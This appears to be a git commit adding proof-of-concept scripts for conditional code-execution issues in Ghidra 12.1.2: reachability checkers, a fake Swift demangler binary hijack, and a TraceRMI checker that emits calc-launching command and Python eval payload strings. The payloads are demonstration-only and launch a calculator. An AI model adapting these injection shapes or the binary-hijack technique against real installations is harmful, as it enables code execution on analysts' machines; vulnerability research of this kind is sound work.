Upload files to "ghidra-12.1.2-rce-ace-calc-poc/pocs"
This commit is contained in:
@@ -0,0 +1,47 @@
|
|||||||
|
import java.io.RandomAccessFile;
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
import java.nio.file.Files;
|
||||||
|
import java.nio.file.Path;
|
||||||
|
import java.util.zip.ZipEntry;
|
||||||
|
import java.util.zip.ZipOutputStream;
|
||||||
|
|
||||||
|
import net.sf.sevenzipjbinding.IInArchive;
|
||||||
|
import net.sf.sevenzipjbinding.PropID;
|
||||||
|
import net.sf.sevenzipjbinding.SevenZip;
|
||||||
|
import net.sf.sevenzipjbinding.impl.RandomAccessFileInStream;
|
||||||
|
|
||||||
|
public final class SevenZipReachabilityProbe {
|
||||||
|
private SevenZipReachabilityProbe() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(String[] args) throws Exception {
|
||||||
|
Path zipPath = Files.createTempFile("ghidra-sevenzip-safe-", ".zip");
|
||||||
|
createHarmlessZip(zipPath);
|
||||||
|
|
||||||
|
System.out.println("Purpose: benign SevenZipJBinding runtime reachability check.");
|
||||||
|
System.out.println("Sample: " + zipPath);
|
||||||
|
System.out.println("No malicious archive bytes or command payload are present.");
|
||||||
|
|
||||||
|
SevenZip.initSevenZipFromPlatformJAR();
|
||||||
|
System.out.println("SevenZip version object: " + SevenZip.getSevenZipVersion());
|
||||||
|
|
||||||
|
try (RandomAccessFile file = new RandomAccessFile(zipPath.toFile(), "r");
|
||||||
|
IInArchive archive = SevenZip.openInArchive(null, new RandomAccessFileInStream(file))) {
|
||||||
|
System.out.println("Archive format: " + archive.getArchiveFormat());
|
||||||
|
System.out.println("Item count: " + archive.getNumberOfItems());
|
||||||
|
for (int i = 0; i < archive.getNumberOfItems(); i++) {
|
||||||
|
System.out.println("Item " + i + " path: " + archive.getProperty(i, PropID.PATH));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void createHarmlessZip(Path zipPath) throws Exception {
|
||||||
|
try (ZipOutputStream zip = new ZipOutputStream(Files.newOutputStream(zipPath))) {
|
||||||
|
ZipEntry entry = new ZipEntry("hello.txt");
|
||||||
|
zip.putNextEntry(entry);
|
||||||
|
zip.write("harmless sample for parser reachability checks\n".getBytes(StandardCharsets.UTF_8));
|
||||||
|
zip.closeEntry();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
@@ -0,0 +1,87 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import argparse
|
||||||
|
import platform
|
||||||
|
import subprocess
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
from calc_helper import launch_calc, make_executable, shell_script_header, write_marker
|
||||||
|
|
||||||
|
|
||||||
|
def default_out_dir() -> Path:
|
||||||
|
return Path(__file__).resolve().parent.parent / "artifacts" / "swift-demangler-calc"
|
||||||
|
|
||||||
|
|
||||||
|
def fake_demangler_name() -> str:
|
||||||
|
return "swift-demangle.cmd" if platform.system().lower() == "windows" else "swift-demangle"
|
||||||
|
|
||||||
|
|
||||||
|
def build_fake_demangler(fake_demangler: Path, marker: Path, no_calc: bool) -> None:
|
||||||
|
lines = [shell_script_header()]
|
||||||
|
if platform.system().lower() == "windows":
|
||||||
|
lines.extend(
|
||||||
|
[
|
||||||
|
"echo Swift demangler calc PoC 1.0\n",
|
||||||
|
f'echo ran with: %* > "{marker}"\n',
|
||||||
|
]
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
lines.extend(
|
||||||
|
[
|
||||||
|
"echo 'Swift demangler calc PoC 1.0'\n",
|
||||||
|
f'printf "ran with: %s\\n" "$*" > "{marker}"\n',
|
||||||
|
]
|
||||||
|
)
|
||||||
|
fake_demangler.write_text("".join(lines), encoding="utf-8")
|
||||||
|
make_executable(fake_demangler)
|
||||||
|
if no_calc:
|
||||||
|
return
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
description="Conditional Ghidra Swift demangler path ACE calc PoC."
|
||||||
|
)
|
||||||
|
parser.add_argument("--run", action="store_true", help="execute the fake demangler")
|
||||||
|
parser.add_argument("--no-calc", action="store_true", help="create marker only")
|
||||||
|
parser.add_argument("--out-dir", type=Path, default=default_out_dir())
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
out_dir = args.out_dir.resolve()
|
||||||
|
fake_swift_dir = out_dir / "fake-swift-bin"
|
||||||
|
fake_swift_dir.mkdir(parents=True, exist_ok=True)
|
||||||
|
marker = out_dir / "swift_demangler_calc_marker.txt"
|
||||||
|
fake_demangler = fake_swift_dir / fake_demangler_name()
|
||||||
|
|
||||||
|
build_fake_demangler(fake_demangler, marker, args.no_calc)
|
||||||
|
|
||||||
|
print("Purpose: conditional Swift demangler path ACE calc PoC.")
|
||||||
|
print(f"Fake Swift binary directory: {fake_swift_dir}")
|
||||||
|
print(f"Fake demangler: {fake_demangler}")
|
||||||
|
print(f"Marker file: {marker}")
|
||||||
|
print("Simulated Ghidra command shape: swift-demangle --version")
|
||||||
|
print("Classification: conditional ACE, not default/open-only RCE.")
|
||||||
|
|
||||||
|
if not args.run:
|
||||||
|
print("Dry run only. Re-run with --run to execute the fake demangler.")
|
||||||
|
print("Use --no-calc with --run to create only the marker file.")
|
||||||
|
return 0
|
||||||
|
|
||||||
|
subprocess.run([str(fake_demangler), "--version"], check=True)
|
||||||
|
if not marker.exists():
|
||||||
|
raise RuntimeError("Expected marker was not created")
|
||||||
|
|
||||||
|
if args.no_calc:
|
||||||
|
print("Calc launch disabled by --no-calc.")
|
||||||
|
else:
|
||||||
|
launched = launch_calc()
|
||||||
|
if launched:
|
||||||
|
print("Local calculator launch requested.")
|
||||||
|
else:
|
||||||
|
print("No platform calculator command was found; marker proves execution.")
|
||||||
|
|
||||||
|
print(f"[created] {marker}")
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
@@ -0,0 +1,68 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import os
|
||||||
|
import platform
|
||||||
|
import shutil
|
||||||
|
import subprocess
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
|
||||||
|
def write_marker(path: Path, text: str) -> None:
|
||||||
|
path.parent.mkdir(parents=True, exist_ok=True)
|
||||||
|
path.write_text(text + "\n", encoding="utf-8")
|
||||||
|
|
||||||
|
|
||||||
|
def calc_command() -> list[str] | None:
|
||||||
|
system = platform.system().lower()
|
||||||
|
if system == "windows":
|
||||||
|
return ["calc.exe"]
|
||||||
|
if system == "darwin":
|
||||||
|
return ["open", "-a", "Calculator"]
|
||||||
|
|
||||||
|
for name in ("xcalc", "gnome-calculator", "kcalc", "qalculate-gtk"):
|
||||||
|
resolved = shutil.which(name)
|
||||||
|
if resolved:
|
||||||
|
return [resolved]
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def calc_shell_command() -> str:
|
||||||
|
system = platform.system().lower()
|
||||||
|
if system == "windows":
|
||||||
|
return "calc.exe"
|
||||||
|
if system == "darwin":
|
||||||
|
return "open -a Calculator"
|
||||||
|
return "xcalc || gnome-calculator || kcalc || qalculate-gtk"
|
||||||
|
|
||||||
|
|
||||||
|
def calc_python_eval_expression() -> str:
|
||||||
|
system = platform.system().lower()
|
||||||
|
if system == "windows":
|
||||||
|
args = "['calc.exe']"
|
||||||
|
elif system == "darwin":
|
||||||
|
args = "['open', '-a', 'Calculator']"
|
||||||
|
else:
|
||||||
|
args = "['sh', '-lc', 'xcalc || gnome-calculator || kcalc || qalculate-gtk']"
|
||||||
|
return f"__import__('subprocess').Popen({args})"
|
||||||
|
|
||||||
|
|
||||||
|
def launch_calc() -> bool:
|
||||||
|
cmd = calc_command()
|
||||||
|
if cmd is None:
|
||||||
|
return False
|
||||||
|
kwargs = {}
|
||||||
|
if platform.system().lower() == "windows":
|
||||||
|
kwargs["creationflags"] = getattr(subprocess, "CREATE_NEW_PROCESS_GROUP", 0)
|
||||||
|
subprocess.Popen(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, **kwargs)
|
||||||
|
return True
|
||||||
|
|
||||||
|
|
||||||
|
def shell_script_header() -> str:
|
||||||
|
if platform.system().lower() == "windows":
|
||||||
|
return "@echo off\n"
|
||||||
|
return "#!/bin/sh\n"
|
||||||
|
|
||||||
|
|
||||||
|
def make_executable(path: Path) -> None:
|
||||||
|
if platform.system().lower() != "windows":
|
||||||
|
mode = path.stat().st_mode
|
||||||
|
path.chmod(mode | 0o111)
|
||||||
@@ -0,0 +1,136 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import argparse
|
||||||
|
import os
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
from calc_helper import (
|
||||||
|
calc_command,
|
||||||
|
calc_python_eval_expression,
|
||||||
|
calc_shell_command,
|
||||||
|
launch_calc,
|
||||||
|
write_marker,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
PATTERNS = (
|
||||||
|
"def execute(",
|
||||||
|
"gdb.execute(cmd",
|
||||||
|
"exec_convert_errors(cmd",
|
||||||
|
"def pyeval(",
|
||||||
|
"return eval(expr)",
|
||||||
|
"EvaluateExpression(expr)",
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def default_source() -> Path | None:
|
||||||
|
candidates: list[Path] = []
|
||||||
|
env_source = os.environ.get("GHIDRA_SOURCE")
|
||||||
|
if env_source:
|
||||||
|
candidates.append(Path(env_source))
|
||||||
|
candidates.extend(
|
||||||
|
[
|
||||||
|
Path.cwd() / "ghidra-12.1.2",
|
||||||
|
Path(__file__).resolve().parents[2] / "ghidra-12.1.2",
|
||||||
|
]
|
||||||
|
)
|
||||||
|
for candidate in candidates:
|
||||||
|
if candidate.exists():
|
||||||
|
return candidate.resolve()
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def find_hits(root: Path) -> list[tuple[Path, int, str, str]]:
|
||||||
|
debug_root = root / "Ghidra" / "Debug"
|
||||||
|
if not debug_root.exists():
|
||||||
|
raise FileNotFoundError(f"Could not find Ghidra/Debug under {root}")
|
||||||
|
|
||||||
|
hits: list[tuple[Path, int, str, str]] = []
|
||||||
|
for method_file in debug_root.rglob("methods.py"):
|
||||||
|
try:
|
||||||
|
lines = method_file.read_text(encoding="utf-8", errors="replace").splitlines()
|
||||||
|
except OSError:
|
||||||
|
continue
|
||||||
|
for line_no, line in enumerate(lines, start=1):
|
||||||
|
stripped = line.strip()
|
||||||
|
for pattern in PATTERNS:
|
||||||
|
if pattern in stripped:
|
||||||
|
hits.append((method_file.relative_to(root), line_no, pattern, stripped))
|
||||||
|
return hits
|
||||||
|
|
||||||
|
|
||||||
|
def payload_shapes() -> list[str]:
|
||||||
|
calc = calc_shell_command()
|
||||||
|
|
||||||
|
return [
|
||||||
|
f"GDB execute(cmd) calc-only command: shell {calc}",
|
||||||
|
f"LLDB execute(cmd) calc-only command: platform shell {calc}",
|
||||||
|
f"LLDB pyeval(expr) calc-only expression: {calc_python_eval_expression()}",
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
parser = argparse.ArgumentParser(
|
||||||
|
description="Conditional TraceRMI RCE calc proof-shape checker."
|
||||||
|
)
|
||||||
|
parser.add_argument("--ghidra-source", type=Path, default=None)
|
||||||
|
parser.add_argument("--run-local-calc-demo", action="store_true")
|
||||||
|
parser.add_argument("--no-calc", action="store_true")
|
||||||
|
parser.add_argument(
|
||||||
|
"--out-dir",
|
||||||
|
type=Path,
|
||||||
|
default=Path(__file__).resolve().parent.parent / "artifacts" / "tracermi-conditional-rce",
|
||||||
|
)
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
source = args.ghidra_source.resolve() if args.ghidra_source else default_source()
|
||||||
|
if source is None or not source.exists():
|
||||||
|
raise SystemExit(
|
||||||
|
"Provide --ghidra-source or set GHIDRA_SOURCE to a Ghidra 12.1.2 source tree"
|
||||||
|
)
|
||||||
|
|
||||||
|
out_dir = args.out_dir.resolve()
|
||||||
|
out_dir.mkdir(parents=True, exist_ok=True)
|
||||||
|
marker = out_dir / "tracermi_local_calc_marker.txt"
|
||||||
|
shapes_file = out_dir / "tracermi_calc_payload_shapes.txt"
|
||||||
|
|
||||||
|
print(f"Ghidra source: {source}")
|
||||||
|
print("Purpose: conditional TraceRMI RCE calc proof shape.")
|
||||||
|
print("This script does not start TraceRMI, connect to an agent, or send execute requests.")
|
||||||
|
|
||||||
|
hits = find_hits(source)
|
||||||
|
if not hits:
|
||||||
|
print("Result: no execution-capable TraceRMI agent method patterns were found.")
|
||||||
|
return 2
|
||||||
|
|
||||||
|
current_file: Path | None = None
|
||||||
|
for relative, line_no, _pattern, text in sorted(hits):
|
||||||
|
if current_file != relative:
|
||||||
|
current_file = relative
|
||||||
|
print(f"[file] {relative}")
|
||||||
|
print(f" [hit] line {line_no}: {text}")
|
||||||
|
|
||||||
|
shapes = payload_shapes()
|
||||||
|
shapes_file.write_text("\n".join(shapes) + "\n", encoding="utf-8")
|
||||||
|
print(f"[created] {shapes_file}")
|
||||||
|
|
||||||
|
if args.run_local_calc_demo:
|
||||||
|
write_marker(marker, "local calc demo ran")
|
||||||
|
print(f"[created] {marker}")
|
||||||
|
if args.no_calc:
|
||||||
|
print("Calc launch disabled by --no-calc.")
|
||||||
|
else:
|
||||||
|
if launch_calc():
|
||||||
|
print("Local calculator launch requested.")
|
||||||
|
else:
|
||||||
|
print("No platform calculator command was found; marker proves execution.")
|
||||||
|
else:
|
||||||
|
print("Local calc demo not run. Add --run-local-calc-demo to launch calc locally.")
|
||||||
|
|
||||||
|
print("Result: TraceRMI execution-capable agent method patterns were found.")
|
||||||
|
print("Classification: conditional RCE, not default unauthenticated RCE.")
|
||||||
|
print(f"Detected local calc command: {calc_command()}")
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
@@ -0,0 +1,108 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import argparse
|
||||||
|
import os
|
||||||
|
import zipfile
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
|
||||||
|
CHECKS = (
|
||||||
|
("SevenZipJBinding dependency", "Ghidra/Features/FileFormats/build.gradle", "sevenzipjbinding:16.02-2.01"),
|
||||||
|
("SevenZip all-platforms dependency", "Ghidra/Features/FileFormats/build.gradle", "sevenzipjbinding-all-platforms:16.02-2.01"),
|
||||||
|
(
|
||||||
|
"Archive probe path",
|
||||||
|
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipFileSystemFactory.java",
|
||||||
|
"probeStartBytes",
|
||||||
|
),
|
||||||
|
(
|
||||||
|
"SevenZip file system mount",
|
||||||
|
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipFileSystemFactory.java",
|
||||||
|
"new SevenZipFileSystem",
|
||||||
|
),
|
||||||
|
(
|
||||||
|
"Native archive open",
|
||||||
|
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipFileSystem.java",
|
||||||
|
"SevenZip.openInArchive",
|
||||||
|
),
|
||||||
|
(
|
||||||
|
"Native library load",
|
||||||
|
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/sevenzip/SevenZipCustomInitializer.java",
|
||||||
|
"System.load",
|
||||||
|
),
|
||||||
|
(
|
||||||
|
"ZIP tries SevenZip path",
|
||||||
|
"Ghidra/Features/FileFormats/src/main/java/ghidra/file/formats/zip/ZipFileSystemFactory.java",
|
||||||
|
"SevenZipFileSystemFactory.initNativeLibraries",
|
||||||
|
),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
def default_source() -> Path | None:
|
||||||
|
candidates: list[Path] = []
|
||||||
|
env_source = os.environ.get("GHIDRA_SOURCE")
|
||||||
|
if env_source:
|
||||||
|
candidates.append(Path(env_source))
|
||||||
|
candidates.extend(
|
||||||
|
[
|
||||||
|
Path.cwd() / "ghidra-12.1.2",
|
||||||
|
Path(__file__).resolve().parents[2] / "ghidra-12.1.2",
|
||||||
|
]
|
||||||
|
)
|
||||||
|
for candidate in candidates:
|
||||||
|
if candidate.exists():
|
||||||
|
return candidate.resolve()
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def main() -> int:
|
||||||
|
parser = argparse.ArgumentParser(description="Benign SevenZipJBinding reachability checker.")
|
||||||
|
parser.add_argument("--ghidra-source", type=Path, default=None)
|
||||||
|
parser.add_argument("--create-harmless-zip", action="store_true")
|
||||||
|
parser.add_argument(
|
||||||
|
"--out-dir",
|
||||||
|
type=Path,
|
||||||
|
default=Path(__file__).resolve().parent.parent / "artifacts",
|
||||||
|
)
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
source = args.ghidra_source.resolve() if args.ghidra_source else default_source()
|
||||||
|
if source is None or not source.exists():
|
||||||
|
raise SystemExit(
|
||||||
|
"Provide --ghidra-source or set GHIDRA_SOURCE to a Ghidra 12.1.2 source tree"
|
||||||
|
)
|
||||||
|
|
||||||
|
print(f"Ghidra source: {source}")
|
||||||
|
print("Purpose: benign reachability check only. No exploit archive or command payload is generated.")
|
||||||
|
|
||||||
|
failed = False
|
||||||
|
for name, rel_path, pattern in CHECKS:
|
||||||
|
path = source / rel_path
|
||||||
|
if not path.exists():
|
||||||
|
print(f"[missing] {name}: {rel_path}")
|
||||||
|
failed = True
|
||||||
|
continue
|
||||||
|
text = path.read_text(encoding="utf-8", errors="replace")
|
||||||
|
if pattern in text:
|
||||||
|
line_no = text[: text.index(pattern)].count("\n") + 1
|
||||||
|
print(f"[found] {name}: {rel_path}:{line_no}")
|
||||||
|
else:
|
||||||
|
print(f"[miss] {name}: {rel_path}")
|
||||||
|
failed = True
|
||||||
|
|
||||||
|
if args.create_harmless_zip:
|
||||||
|
out_dir = args.out_dir.resolve()
|
||||||
|
out_dir.mkdir(parents=True, exist_ok=True)
|
||||||
|
zip_path = out_dir / "harmless-sevenzip-sample.zip"
|
||||||
|
with zipfile.ZipFile(zip_path, "w", zipfile.ZIP_DEFLATED) as zf:
|
||||||
|
zf.writestr("hello.txt", "harmless sample for parser reachability checks\n")
|
||||||
|
print(f"[created] harmless ZIP sample: {zip_path}")
|
||||||
|
|
||||||
|
if failed:
|
||||||
|
print("Result: one or more expected reachability checks were not found.")
|
||||||
|
return 2
|
||||||
|
|
||||||
|
print("Result: expected SevenZipJBinding reachability evidence was found.")
|
||||||
|
return 0
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
raise SystemExit(main())
|
||||||
Reference in New Issue
Block a user